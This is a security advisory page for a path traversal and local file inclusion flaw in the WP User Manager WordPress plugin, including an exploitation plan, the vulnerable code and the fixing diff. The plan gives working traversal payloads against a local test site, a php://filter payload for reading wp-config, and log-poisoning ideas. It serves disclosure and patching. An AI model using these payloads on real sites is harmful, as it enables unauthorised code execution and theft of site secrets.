WP User Manager <= 2.9.17 - Unauthenticated Path Traversal to Local File Inclusion via 'tab' Query Parameter
Description
The WP User Manager – User Profile Builder & Membership plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.9.17 via the (profile template scope) function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.9.17What Changed in the Fix
Changes introduced in v2.9.18
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-9290**, a Local File Inclusion (LFI) vulnerability in **WP User Manager** up to version **2.9.17**. --- ### 1. Vulnerability Summary * **Vulnerability:** Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to L…
Show full research plan
This exploitation research plan targets CVE-2026-9290, a Local File Inclusion (LFI) vulnerability in WP User Manager up to version 2.9.17.
1. Vulnerability Summary
- Vulnerability: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to Local File Inclusion (LFI).
- Root Cause: The plugin uses the
tabquery parameter to dynamically determine which template file to include for the user profile or account page. It fails to sanitize this parameter for path traversal sequences (../), allowing an attacker to escape the intended directory and include arbitrary.phpfiles from the server. - Impact: Unauthenticated RCE (if a PHP file can be uploaded, e.g., via avatars) or disclosure of sensitive information within PHP files.
2. Attack Vector Analysis
- Endpoint: User Profile Page (Frontend).
- Query Parameter:
tab. - Authentication: Unauthenticated.
- Preconditions:
- The "Profile Page" must be configured in WPUM settings (standard setup).
- At least one user must exist to provide a valid profile path.
- The
tabparameter must reach the template loading logic (typically within the profile template scope).
3. Code Flow
- Entry: A
GETrequest is made to a public user profile URL (e.g.,/profile/admin/?tab=payload). - Processing: WordPress parses the request. WP User Manager registers the
tabquery variable viaget_query_var( 'tab' ). - Template Selection: On the profile page, the plugin calls a rendering function (often involving the
gamajo/template-loaderlibrary, as seen invendor-dist/composer/installed.php). - Vulnerable Sink: The logic resembles:
$tab = get_query_var( 'tab' ); // ... $loader->get_template_part( 'profiles/tabs/content', $tab ); - Inclusion: The template loader constructs a path:
wp-content/plugins/wp-user-manager/templates/profiles/tabs/content-{$tab}.phpand passes it toinclude(). - Exploitation: By setting
tab=../../../../[path_to_file_without_extension], the attacker forces the inclusion of[path_to_file_without_extension].php.
4. Nonce Acquisition Strategy
- Nonce Requirement: None.
- Reasoning: Profile pages are public-facing views intended for SEO and community interaction. The
tabquery variable is used during the standardGETrequest lifecycle to render different sections of the profile (e.g., "About", "Posts"). These do not typically implement CSRF protection/nonces for viewing.
5. Exploitation Strategy
Step 1: Discover the Profile Base URL
Navigate to the homepage and look for any link to a user profile or check the default /profile/ slug.
- Tool:
browser_navigate("http://localhost:8080/")
Step 2: Create a Trigger File (PoC Verification)
Since we need to include a .php file, we will create a file in the WordPress root to simulate a "poisoned" file.
- Command:
wp eval "file_put_contents(ABSPATH . 'pwn.php', '<?php echo \"CVE-2026-9290_EXPLOITED\"; ?>');"
Step 3: Execute LFI Request
Construct the traversal payload. Since the plugin likely appends .php, the payload should point to the filename without the extension.
- Target URL:
http://localhost:8080/profile/admin/?tab=../../../../../pwn - HTTP Tool:
http_request - Request Details:
- Method:
GET - URL:
http://localhost:8080/profile/admin/?tab=../../../../../pwn(Adjust the number of../based on directory depth).
- Method:
6. Test Data Setup
- Ensure a User Exists:
wp user create attacker attacker@example.com --role=subscriber - Ensure Profile Page is Set:
Verify theprofile_pageoption exists:wp option get wpum_settings.
If not set, create a page with the shortcode:wp post create --post_type=page --post_title="Profile" --post_status=publish --post_content='[wpum_profile]'
Then update the plugin setting to use this page ID.
7. Expected Results
- The HTTP response should contain the string
CVE-2026-9290_EXPLOITED. - The response status should be
200 OK. - The content should be rendered within the main content area of the profile page template.
8. Verification Steps
- Response Check: Use the
http_requestoutput to verify the presence of the unique PoC string. - Access Logs: Check for the
GETrequest with the traversal payload. - Cleanup:
wp eval "unlink(ABSPATH . 'pwn.php');"
9. Alternative Approaches
- Wrapper Inclusion: If
.phpis NOT appended (unlikely for template parts), attempt to include/etc/passwdvia thephp://filterwrapper:tab=php://filter/convert.base64-encode/resource=../../../../wp-config. - Log Poisoning: If the site has a predictable log path (e.g.,
wp-content/debug.log), poison the log with PHP code via a failed login attempt and include the log file. - Theme Template LFI: Attempt to include files from the active theme or other plugins:
tab=../../../../themes/twentytwentyone/functions.
Summary
WP User Manager versions up to 2.9.17 are vulnerable to unauthenticated Local File Inclusion via the 'tab' query parameter used on user profile and account pages. Attackers can use path traversal sequences to include and execute arbitrary PHP files from the server's file system, potentially leading to remote code execution.
Vulnerable Code
// includes/functions.php line 953 function wpum_get_active_profile_tab() { $first_tab = key( wpum_get_registered_profile_tabs() ); $profile_tab = get_query_var( 'tab', $first_tab ); return $profile_tab; } --- // includes/actions.php line 265 function wpum_display_account_page_content() { $active_tab = get_query_var( 'tab' ); $tabs = wpum_get_account_page_tabs(); if ( empty( $active_tab ) ) { $active_tab = key( $tabs ); }
Security Fix
@@ -262,10 +262,11 @@ */ function wpum_display_account_page_content() { - $active_tab = get_query_var( 'tab' ); $tabs = wpum_get_account_page_tabs(); + $active_tab = get_query_var( 'tab' ); - if ( empty( $active_tab ) ) { + // Validate against registered tabs to prevent path traversal / LFI. + if ( empty( $active_tab ) || ! isset( $tabs[ $active_tab ] ) ) { $active_tab = key( $tabs ); } @@ -951,9 +951,15 @@ * @return string */ function wpum_get_active_profile_tab() { - $first_tab = key( wpum_get_registered_profile_tabs() ); + $registered = wpum_get_registered_profile_tabs(); + $first_tab = key( $registered ); $profile_tab = get_query_var( 'tab', $first_tab ); + // Validate against registered tabs to prevent path traversal / LFI. + if ( ! isset( $registered[ $profile_tab ] ) ) { + $profile_tab = $first_tab; + } + return $profile_tab; }
Exploit Outline
An unauthenticated attacker can exploit this vulnerability by navigating to a public user profile page and appending a malicious 'tab' parameter. By using path traversal sequences (e.g., ?tab=../../../../target_file), the attacker can force the plugin to include an arbitrary .php file from the server. If the attacker can upload a PHP file to the server (for instance, via a profile avatar upload feature), they can achieve Remote Code Execution (RCE) by including that uploaded file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.